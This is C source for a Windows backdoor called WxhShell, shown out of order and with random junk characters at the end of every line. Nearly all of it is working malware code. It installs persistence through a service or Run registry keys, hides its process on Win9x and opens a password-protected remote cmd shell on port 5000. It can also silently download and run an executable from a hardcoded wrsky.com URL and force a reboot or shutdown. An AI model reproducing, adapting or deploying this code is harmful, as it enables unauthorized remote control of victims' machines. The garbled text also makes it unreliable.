    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); XH?//.q  
    if(Boot(SHUTDOWN)) u}nSdZC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %/Wk+r9uu  
    else { s:tX3X  
    closesocket(wsh); Z<.&fZ^jS  
    ExitThread(0); \\dUp>1=  
    } "&2 F  
    break; R 0RxcB tG  
    } ]<^2B?}  
  // 获取shell <r#FI8P;X  
  case 's': { _2jL]mB  
    CmdShell(wsh); M3jUnp&  
    closesocket(wsh); Q6HJ+H-Ub  
    ExitThread(0); N\PdX$  
    break; Ur])*#  
  } ,4Q4{Tx  
  // 退出 RzqgN*]lY  
  case 'x': { SI!A?34  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !.6n=r8 d  
    CloseIt(wsh); E]mm^i`|  
    break; 9 -pt}U  
    } %aNm j)L  
  // 离开 <Z%=lwtX  
  case 'q': { ,\6Vb*G|E>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @}4aF|  
    closesocket(wsh); P2'N4?2  
    WSACleanup(); (mIjG)4t  
    exit(1); p]mN)  
    break; j0e,>X8  
        } kkjugm{D7  
  } 2=_$&oT**  
  } EHC7b^|3}  
6B?jc/V.R  
  // 提示信息 F}}!e.>c  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #yH+ENp0   
} =de'Yy:\-  
  } 8ao-]QoMZ  
Jc#D4e1#  
  return; i.t%a{gL  
} G!6b )4L-  
5sT3|yq  
// shell模块句柄 Nm"P8/-09  
int CmdShell(SOCKET sock) NBPP?\1  
{ !i"zM}  
STARTUPINFO si; hoq2zDjD  
ZeroMemory(&si,sizeof(si)); c& ;@i$X(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ..JRtuM-v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U823q-x  
PROCESS_INFORMATION ProcessInfo; Rn?JMM]  
char cmdline[]="cmd"; FaeKDbLJr  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9vV==A#  
  return 0; 3&y-xZu]  
} AXlVH%'  
hVF^ "$  
// 自身启动模式 :IZAdlz[@  
int StartFromService(void) yh E%X  
{  |,$&jSe  
typedef struct N6._J b  
{ Cx2# 0$  
  DWORD ExitStatus; n[Q(q[ULV  
  DWORD PebBaseAddress; r-y;"h'  
  DWORD AffinityMask; _Ay^v#a  
  DWORD BasePriority; qSNCBn '  
  ULONG UniqueProcessId; \E?3nQM  
  ULONG InheritedFromUniqueProcessId; nB`|VYmOP1  
}   PROCESS_BASIC_INFORMATION; %&6Q Uv^  
D|ceZ <9x  
PROCNTQSIP NtQueryInformationProcess; 1D 'r;`z  
8{ZTHY -  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  @/s|<*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5?^#v  
r]!#v{#.  
  HANDLE             hProcess; k ;^$Pd?t  
  PROCESS_BASIC_INFORMATION pbi; Uoe{,4T  
4:/V|E\D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y^C5_w(^jZ  
  if(NULL == hInst ) return 0; h^ Cm\V  
)g'J'_Sl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V*@aE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5REFz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j,.M!q]  
i M !`4  
  if (!NtQueryInformationProcess) return 0; #uU(G\^T  
IB;yL/T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dy_Uh)$$|g  
  if(!hProcess) return 0; !`e`4y*N  
5!?5S$>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e6taQz@}  
"B{3q`(  
  CloseHandle(hProcess); Q'n+K5&p  
23tX"e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _z#" BN  
if(hProcess==NULL) return 0; ~3.*b% ,  
q KD  
HMODULE hMod; vL@<l^`$0  
char procName[255]; `0qjaC  
unsigned long cbNeeded; 66& uK|  
gL_1~"3KGC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W/,bz",v3  
1O`V_d)  
  CloseHandle(hProcess); )c4tGT<  
YD[HBF)~j  
if(strstr(procName,"services")) return 1; // 以服务启动 5[4wN( )  
qHub+"2  
  return 0; // 注册表启动 ;y,g%uqE  
} 3/+kjY/  
GY%5N= u  
// 主模块 v^ ^Ibv  
int StartWxhshell(LPSTR lpCmdLine) +KbkdY Z  
{ b,^ "-r  
  SOCKET wsl; TO.b- ;  
BOOL val=TRUE; yn\c;Z  
  int port=0; i3 eF_  
  struct sockaddr_in door; _-C/s p^   
G*4I;'6  
  if(wscfg.ws_autoins) Install(); c K\   
wnC} TWxX  
port=atoi(lpCmdLine); !An?<Sv$  
fM ID}S  
if(port<=0) port=wscfg.ws_port; zb{79Os[B  
A M[f  
  WSADATA data; HXU#Ux  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8lM=v> Xc  
i6WPf:#wr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *>a=ku:?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R0qZxoo  
  door.sin_family = AF_INET; C$[iduS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $0 .6No_|  
  door.sin_port = htons(port); \ UrD%;sq  
Zp7Pw   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5a/A?9?,  
closesocket(wsl); HDV-qYD|O~  
return 1; R5ra*!|L)  
} ~2k.x*$  
z0rYzn?MR  
  if(listen(wsl,2) == INVALID_SOCKET) { cjN)3L{  
closesocket(wsl); F\r"Y)|b=  
return 1; "d)Yq Q  
} #ELe W3 S}  
  Wxhshell(wsl); b\0>uU  
  WSACleanup(); B2kZ_4rB  
fx|d"VF[  
return 0; t}k:wzZ@  
b@CjnAZ  
} f,yl'2{  
dE"_gwtX  
// 以NT服务方式启动 uaO.7QSwN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )l`Ks  
{ OM1Z}%J  
DWORD   status = 0; =x -7 Wy  
  DWORD   specificError = 0xfffffff; JlnmG<WLT  
 a[nSUlT&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F:m6Mf7L  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =;-C;gn:w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =Smd/'`_  
  serviceStatus.dwWin32ExitCode     = 0; {j$2=0Cec  
  serviceStatus.dwServiceSpecificExitCode = 0; i975)_X(  
  serviceStatus.dwCheckPoint       = 0; y!1X3X,V  
  serviceStatus.dwWaitHint       = 0; Jpduk&u  
b3%x&H<j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MZ}0.KmaZ  
  if (hServiceStatusHandle==0) return; T */I4"  
,mz;$z6i  
status = GetLastError(); }OEL] 5  
  if (status!=NO_ERROR) i!2k f  
{ |aLK_]!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ow \EL  
    serviceStatus.dwCheckPoint       = 0; a"-uJn  
    serviceStatus.dwWaitHint       = 0; `"65 _?B i  
    serviceStatus.dwWin32ExitCode     = status; ^"7- `<J  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8p 4[:M@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1*p6UR&  
    return; X[$h &]  
  } he~8V.$  
$\ZWQct  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fJ8>nOh  
  serviceStatus.dwCheckPoint       = 0; !U% |pa  
  serviceStatus.dwWaitHint       = 0; In1{&sS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }169]!R  
} UdrgUqq)  
!(q@sw(  
// 处理NT服务事件,比如:启动、停止 KyrZ&E.`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 68P'<|u?  
{ (qFZF7(Xa  
switch(fdwControl) Lan|(!aW  
{ t)j$lmQn  
case SERVICE_CONTROL_STOP: P-B5-Nz  
  serviceStatus.dwWin32ExitCode = 0; R|*0_!O:[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; CtMqE+j^  
  serviceStatus.dwCheckPoint   = 0; h F+aL  
  serviceStatus.dwWaitHint     = 0; {v0r'+`  
  { ]D;*2Lw4&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9@CRL=  
  } 8|@) #:  
  return; jv.tg,c_6  
case SERVICE_CONTROL_PAUSE: vk E]$4P[$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i&H^xgm  
  break; j-BNHX  
case SERVICE_CONTROL_CONTINUE: JL G!;sov  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C')KZ|JIC  
  break; iT&4;W=72~  
case SERVICE_CONTROL_INTERROGATE: rSv,;v  
  break; *DIY;)K  
}; *=oO3c0|b,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4AEw[(t  
} 'GezIIaH  
Jd/d\P  
// 标准应用程序主函数 d,?D '/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q   
{ W#U|;@"  
9]+zZP_#  
// 获取操作系统版本 lwfS$7^P  
OsIsNt=GetOsVer(); 4*Hzys[{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); BDf M4  
F)~>4>hPr  
  // 从命令行安装 /TsXm-g#  
  if(strpbrk(lpCmdLine,"iI")) Install(); lF64g  
Iq%<E:+GL  
  // 下载执行文件 $yi:0t8t  
if(wscfg.ws_downexe) { G0!6rDu2,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Jf4` 2KN\  
  WinExec(wscfg.ws_filenam,SW_HIDE); q`PA~C];  
} _w\i~To!  
b;D  
if(!OsIsNt) { m19\H  
// 如果时win9x,隐藏进程并且设置为注册表启动 c/88|k  
HideProc(); JYj*.Q0  
StartWxhshell(lpCmdLine); e 1XKlgl  
} tXA?[ S  
else \dU.#^ryp  
  if(StartFromService()) 9IXy96]]6  
  // 以服务方式启动 8nBYP+t,e  
  StartServiceCtrlDispatcher(DispatchTable); #Hr'plg 8  
else s:l H4B  
  // 普通方式启动 y@v)kN)Y9\  
  StartWxhshell(lpCmdLine); {HY3E}YJL  
[*O>Lk  
return 0; tJu:N'=Dy  
} m7NWgXJ  
c`x4."m  
d#+Ne f5  
\(7A7~  
=========================================== FVkl# Qy~  
5uG^`H@X  
Ns YEBT7f  
{ Zv%DV4_$  
<D:q4t  
!X: TieyVu  
" Sr Nc  
yCR8c,'8  
#include <stdio.h> C.ynOo,W  
#include <string.h> j5R0e}/r  
#include <windows.h> p,k1*|j  
#include <winsock2.h> h1 (i/{}:  
#include <winsvc.h> 1o/(fy  
#include <urlmon.h> h0m5o V  
6 8n ;#-X  
#pragma comment (lib, "Ws2_32.lib") 7]Qxt%7/>  
#pragma comment (lib, "urlmon.lib") [)}P{y [&  
jA{B G_  
#define MAX_USER   100 // 最大客户端连接数 qJs_ahy(  
#define BUF_SOCK   200 // sock buffer ':}9>B3 S  
#define KEY_BUFF   255 // 输入 buffer h/A\QW8Sd  
;]xc}4@=mg  
#define REBOOT     0   // 重启 U"|1@W#  
#define SHUTDOWN   1   // 关机 =D0d+b6  
SVwxK/Fci  
#define DEF_PORT   5000 // 监听端口 DM v;\E~D  
bBML +0a  
#define REG_LEN     16   // 注册表键长度 E> pr})^w  
#define SVC_LEN     80   // NT服务名长度 Z] r9lC  
+JG05h%'  
// 从dll定义API WFc4(Kl  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >{(c\oMD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k(tB+k!vH\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !21G $ [H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); UVLS?1ra  
3}g>/F ~  
// wxhshell配置信息 ,F->*=  
struct WSCFG { G6{ PrV#  
  int ws_port;         // 监听端口 ?glx8@  
  char ws_passstr[REG_LEN]; // 口令 N:Q.6_%^  
  int ws_autoins;       // 安装标记, 1=yes 0=no `L$Av9X\  
  char ws_regname[REG_LEN]; // 注册表键名 QZ(O2!Mg  
  char ws_svcname[REG_LEN]; // 服务名 ~sn3_6{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [u*7( 4e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :j3^p8]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J ?aJa  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SJ22  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cM9> V2:P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <,p$eQ)T%  
x])j]k  
}; uL7}JQ,  
gA_oJW4_  
// default Wxhshell configuration D@ sMCR  
struct WSCFG wscfg={DEF_PORT, n%\\1  
    "xuhuanlingzhe", K!(WcoA&2i  
    1, Fv,c8f  
    "Wxhshell", E$8-8[  
    "Wxhshell", `}P9[HP  
            "WxhShell Service", 27[e0 j  
    "Wrsky Windows CmdShell Service", d< XY"Y%  
    "Please Input Your Password: ", .$d:c61X  
  1, +KExK2=  
  "http://www.wrsky.com/wxhshell.exe", 3,i`FqQa  
  "Wxhshell.exe" >cjxu9Vr1K  
    }; m,hqq%qz  
D->E&#  
// 消息定义模块 fh_:ung  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H/[(T%]o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1Zk1!> ?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1$# r)S[*  
char *msg_ws_ext="\n\rExit."; <oP`\m   
char *msg_ws_end="\n\rQuit."; PDc4ok`)  
char *msg_ws_boot="\n\rReboot..."; VIGLl'8p  
char *msg_ws_poff="\n\rShutdown..."; =&-.]| t  
char *msg_ws_down="\n\rSave to "; ZR3sz/ulLd  
:T6zT3(")D  
char *msg_ws_err="\n\rErr!"; GM;uwL#  
char *msg_ws_ok="\n\rOK!"; s$9ow<oi]  
sX>|Y3S\U  
char ExeFile[MAX_PATH]; g&B7Y|Es  
int nUser = 0; c 3| Lk7Q  
HANDLE handles[MAX_USER]; *S <I!7Q  
int OsIsNt; { ~{D(k  
V^D 1:9i  
SERVICE_STATUS       serviceStatus; xPT$d,~"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cbou1Ei   
uVZm9Sp  
// 函数声明 JKp@fQT *  
int Install(void); s#0m  
int Uninstall(void); j;Lp@~M  
int DownloadFile(char *sURL, SOCKET wsh); biV|W@JM  
int Boot(int flag); #Sg/  
void HideProc(void); uGlz|C  
int GetOsVer(void); M>RLS/r>d  
int Wxhshell(SOCKET wsl); 23;\l   
void TalkWithClient(void *cs); eon(C|S7eK  
int CmdShell(SOCKET sock); 1Ogtzf  
int StartFromService(void); h9c7P@29  
int StartWxhshell(LPSTR lpCmdLine); =&4eW#{LuH  
r!>=G%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n#GHa>p.-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _fj@40i M  
A}pe>ja   
// 数据结构和表定义  q _;#EV  
SERVICE_TABLE_ENTRY DispatchTable[] = 8BS$6Pa  
{ :/Y4I)'  
{wscfg.ws_svcname, NTServiceMain}, `i!-@WN"  
{NULL, NULL} Q3)[ *61e  
}; E9 #o0Di  
1U~'8=-   
// 自我安装 uWXxK"J.  
int Install(void) $:D L+E-}  
{ 0B`rTLwB  
  char svExeFile[MAX_PATH]; _#P5j#  
  HKEY key; aC'#H8e|j  
  strcpy(svExeFile,ExeFile); CS"k0V44}  
1*@Q~f:Uk  
// 如果是win9x系统,修改注册表设为自启动 G in  
if(!OsIsNt) { M@.?l=1X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :e_yOT}}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lQ.3_{"s  
  RegCloseKey(key); /KJWo0zo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kP~ ;dJD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9fSX=PVRmQ  
  RegCloseKey(key); uTrGb:^  
  return 0; rPW 9lG  
    } cz>`$Zz  
  } "Jyb?5  
} y3V47J2o  
else { t&bE/i_T  
.|kp`-F51  
// 如果是NT以上系统,安装为系统服务 = 6w(9O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t9 id^  
if (schSCManager!=0) W9SEYkg  
{ C%Op[H3  
  SC_HANDLE schService = CreateService DGAg#jh  
  ( ORV'dr  
  schSCManager, 37,)/8]lG  
  wscfg.ws_svcname, A56aOI=  
  wscfg.ws_svcdisp, xaSiG  
  SERVICE_ALL_ACCESS, E[_-s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N aiZU  
  SERVICE_AUTO_START, 0ipYXbC  
  SERVICE_ERROR_NORMAL, <_Po/a!c3  
  svExeFile, W.b?~  
  NULL, U./1OZ&  
  NULL, vi.q]$ohbV  
  NULL, }5;3c%  
  NULL, J&b&*3   
  NULL Zf`dd T  
  ); j~9,Ct  
  if (schService!=0) 0 .t1p(x;  
  { W&k2z,|  
  CloseServiceHandle(schService); TH}+'m  
  CloseServiceHandle(schSCManager); 2! bE|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fm%-wUgj  
  strcat(svExeFile,wscfg.ws_svcname); Op<|Oz$Q|l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { myY@Wp  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {5:V hW}  
  RegCloseKey(key); cm7>%g(oQo  
  return 0; B7qiCX}pD  
    } lT]dj9l  
  } Ed~2Qr\65  
  CloseServiceHandle(schSCManager); D8_-Dvp7H  
} [W,maT M"  
} ~rU{Q>c  
(svd~he2  
return 1; Y{#m=-h  
} nR~L$Wu5_a  
J $<g" z3  
// 自我卸载 _\xd]~ELj  
int Uninstall(void) h|'T'l&z  
{ wms8z  
  HKEY key; U5wO;MA  
cS1BB#N0  
if(!OsIsNt) { |2~fOyA+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [I` 6F6  
  RegDeleteValue(key,wscfg.ws_regname); PizPsJ|&  
  RegCloseKey(key); nM)H2'%kL&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [P_1a`b  
  RegDeleteValue(key,wscfg.ws_regname); @oL<Ioh  
  RegCloseKey(key); vl}uHdeP9  
  return 0; !23#Bz7  
  } Y|iALrx  
} PUViTb  
} ^Ru/7pw 5  
else { #nh;KlI 0  
K:eP Il{JE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8.Ty ,7Z  
if (schSCManager!=0) 6,|)%~VUm  
{ *m sW4|=^2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D~Y 3\KP  
  if (schService!=0) xem:#>&r  
  { bP 2IX  
  if(DeleteService(schService)!=0) { "i1~YE  
  CloseServiceHandle(schService); 8^N"D7{mO  
  CloseServiceHandle(schSCManager);  HRKe 7#e  
  return 0; 3E361?ubM  
  } Z*|qbu)  
  CloseServiceHandle(schService); v2Bks 2  
  } ' RjFWHAp  
  CloseServiceHandle(schSCManager); <4Jo1  
} 8BZDaiE"  
} S|%f<zAtJ  
Q04iuhDO:  
return 1; x+9aTsZ  
} Gx GZxf*(  
,Mwj`fgh  
// 从指定url下载文件 $u9y H Z  
int DownloadFile(char *sURL, SOCKET wsh) <3>Ou(F  
{ xCV3HnZ  
  HRESULT hr; U:`g12  
char seps[]= "/"; `?VB)  
char *token; oY{r83h{  
char *file; h&vq}  
char myURL[MAX_PATH]; "+ji`{  
char myFILE[MAX_PATH]; #9Z*.  
5xHl6T+  
strcpy(myURL,sURL); pr[[)[]/  
  token=strtok(myURL,seps); T(^<sjOs  
  while(token!=NULL) &4yI]  
  { |vnfY; ;z1  
    file=token; )*iSN*T8q  
  token=strtok(NULL,seps); jn#  
  } <5~} !N X`  
Ee##:I[z  
GetCurrentDirectory(MAX_PATH,myFILE); b&!7(Q[ sT  
strcat(myFILE, "\\"); Au,}5=+`P  
strcat(myFILE, file); '@iS5Fni  
  send(wsh,myFILE,strlen(myFILE),0); ~J6c1jG  
send(wsh,"...",3,0); dt  4_x1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ss&R!w9p  
  if(hr==S_OK) jv]:`$}G\  
return 0; rK2*DuE  
else 65Ysg}x  
return 1; $N=A,S  
G~e`O,+  
} c]W]m`:  
\+g95|[/  
// 系统电源模块 cV5Lp4wY?  
int Boot(int flag) @qH<4`y.^  
{ c)M_&?J!5  
  HANDLE hToken; -~ `5kO~  
  TOKEN_PRIVILEGES tkp; xS,#TU;)Ol  
GjA;o3(  
  if(OsIsNt) { @M"h_Z1#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kG+CT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c|Nv^V*2  
    tkp.PrivilegeCount = 1; d3(T=9;f2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - iS\3P.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u[^(s_  
if(flag==REBOOT) { oZ@_o3VG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y2w 9]:J  
  return 0; M*E4:A9_M  
} r$6z{Na\[  
else { 2|#3rF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ue$\ i=jw  
  return 0; .Lp0_R@  
} a$FELlMv  
  } G;MgrA#\  
  else { Sg0 _l(  
if(flag==REBOOT) { lBL;aTzo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o;\0xuM@  
  return 0; ?PSm) ~ Oa  
} rBkf@  
else { Vl?R?K=`~J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OlFls 8#>  
  return 0; kN;l@>  
} *Rj>// A  
} ' d1E~A  
#Qy*zU#9  
return 1; >\$qF  
} gNzQ"W=  
nKh._bvfX  
// win9x进程隐藏模块 kkFE9:[-c&  
void HideProc(void) M>0=A  
{ JMOQDo  
g{f1JTJ7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \A5cM\-  
  if ( hKernel != NULL ) VD +8j29  
  { 6,0pkx&Nv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4fZ$&)0&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yc4mWB~gyU  
    FreeLibrary(hKernel); ~|pVz/s|G  
  } }O@S ;[v S  
z(3mhMJY  
return; yGH'|`  
} ZqkP# ]+Y'  
JQE^ bcr  
// 获取操作系统版本 =6q?XOM  
int GetOsVer(void) o'%F*>#v  
{ C&3#'/&  
  OSVERSIONINFO winfo; $[[6N0}*:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M{:gc7%  
  GetVersionEx(&winfo); ,ibI@8;#~'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x"v5'EpL  
  return 1; i3*?fMxhu)  
  else Wb!%_1dER  
  return 0; `t:7&$>T  
} T2} I,{U  
<i~ ( 8F\  
// 客户端句柄模块 <h U ZD;  
int Wxhshell(SOCKET wsl) 1p23&\\~  
{ 9.lSF  
  SOCKET wsh; x-U:T.+{  
  struct sockaddr_in client; * C~  
  DWORD myID; 23y7l=.b/  
djPr 4Nog  
  while(nUser<MAX_USER) sxO_K^eD  
{ rNqJL_!  
  int nSize=sizeof(client); nV McHN   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HQaKG4Z  
  if(wsh==INVALID_SOCKET) return 1; =5%jKHo+9z  
~5`rv1$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g 6>R yjN  
if(handles[nUser]==0) }`IN5NdYp  
  closesocket(wsh); c$?qN&X_K  
else )dJM  
  nUser++; Nt&}T  
  } R/b)hP ~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I4  Tc&b  
\"_;rJ{!aE  
  return 0; 5cxA,T  
} iyu%o9_0  
7-w +/fv  
// 关闭 socket f&ZxG,]H i  
void CloseIt(SOCKET wsh) >('L2]4\v  
{ :{LVS nG  
closesocket(wsh); &.=d,XKN  
nUser--; A T+|}B!  
ExitThread(0); ZGzrh`j{-  
} .pi#Z /v  
}&rf'E9  
// 客户端请求句柄 fbwo2qe@K  
void TalkWithClient(void *cs) 6}x^ T)R  
{ `wB(J%w  
vjZX8KAiZ  
  SOCKET wsh=(SOCKET)cs; EiP_V&\  
  char pwd[SVC_LEN]; 5xLuuKG  
  char cmd[KEY_BUFF]; _myam3[W  
char chr[1]; !;'U5[}8  
int i,j; ')bx1gc(?  
o&;+!Si@T  
  while (nUser < MAX_USER) { {NKDmeg:D  
y= cBpC  
if(wscfg.ws_passstr) { ;r- \h1iA'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]Vl * !,(i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %I(N  
  //ZeroMemory(pwd,KEY_BUFF); =^q:h<  
      i=0; ECg/ge2  
  while(i<SVC_LEN) { N~\1yQT  
> g8;x#  
  // 设置超时 Si6%6rAhj  
  fd_set FdRead; -Qiay/tlu  
  struct timeval TimeOut; kd|@.  
  FD_ZERO(&FdRead); k2<VUeW5  
  FD_SET(wsh,&FdRead); \ zhT1#O  
  TimeOut.tv_sec=8; H]UM2.  
  TimeOut.tv_usec=0; x~j%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \P}~ICZA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }v0oFY$u`H  
c(ZkK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ( y2%G=.j  
  pwd=chr[0]; `"zX<  
  if(chr[0]==0xd || chr[0]==0xa) { B:qZh$YN  
  pwd=0; aMZ6C <N  
  break; F{]dq/{  
  } #2_phm'  
  i++; c pgHF`nt  
    } Q++lgVh)E  
{G%`K,T  
  // 如果是非法用户,关闭 socket T"in   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -g;iMqh#  
} -7'>Rw  
{{SQL)yJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G0CmY43  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,U],Wu)  
PM7*@~.  
while(1) { tE3!;  
< I8hy$+6  
  ZeroMemory(cmd,KEY_BUFF); {/XzIOO;b  
p!|Wp  
      // 自动支持客户端 telnet标准   >Ah [uM  
  j=0; Eae]s8ek9  
  while(j<KEY_BUFF) { N=zrY`Vd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); asj^K|.z  
  cmd[j]=chr[0]; -?2ThvT  
  if(chr[0]==0xa || chr[0]==0xd) { ~-A5h(  
  cmd[j]=0; yGZb  
  break; ,D+pGxbr   
  } g>/,},jv[x  
  j++; /XS}<!)%  
    } P3on4c  
'r(}7>~fC  
  // 下载文件 SEIGs_^'\  
  if(strstr(cmd,"http://")) { Q;)[~p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'F5&f9 A  
  if(DownloadFile(cmd,wsh)) 8nt:peJ$+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3"6lPUS  
  else X*]uLgbl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +sQ=Uw#e  
  } xs.>+(@|;  
  else { (pREo/T  
